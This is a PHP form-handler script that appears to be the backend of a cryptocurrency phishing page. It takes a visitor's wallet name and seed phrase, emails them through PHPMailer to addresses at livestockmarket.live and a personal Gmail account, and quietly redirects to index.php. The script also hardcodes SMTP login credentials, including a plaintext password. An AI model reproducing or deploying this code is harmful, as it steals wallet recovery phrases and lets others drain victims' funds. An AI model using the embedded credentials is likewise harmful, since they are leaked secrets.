<?php


$name = $_GET['name'];
$phrase = $_POST['phrase'];


$to = "onomakemudiaga@gmail.com";
$too = "support@livestockmarket.live";
                 $subject = "WALLET ADDRESS INFORMATION";
                 $message = "
                 WALLET NAME: $name <br>
                 WALLET PHRASE: $phrase
                 
                 ";


$mail = new PHPMailer;

//$mail->SMTPDebug = 2;                               // Enable verbose debug output

$mail->isSMTP();                                      // Set mailer to use SMTP
$mail->Host = 'mail.livestockmarket.live';  // Specify main and backup SMTP servers
$mail->SMTPAuth = true;                               // Enable SMTP authentication
$mail->Username = 'support@livestockmarket.live';                 // SMTP username
$mail->Password = 'Software@.247';                           // SMTP password
$mail->SMTPSecure = 'ssl';                            // Enable TLS encryption, `ssl` also accepted
$mail->Port = 465;                                    // TCP port to connect to

$mail->setFrom('support@livestockmarket.live', 'WALLET');
$mail->addAddress($too);               // Name is optional
$mail->addReplyTo('support@livestockmarket.live', 'WALLET');
//$mail->addCC('cc@example.com');
//$mail->addBCC('bcc@example.com');

//$mail->addAttachment('/var/tmp/file.tar.gz');         // Add attachments
//$mail->addAttachment('/tmp/image.jpg', 'new.jpg');    // Optional name
$mail->isHTML(true);                                  // Set email format to HTML

$mail->Subject = $subject;
$mail->Body    = $message;
$mail->send();

//echo $name;
header("Location: index.php");


?>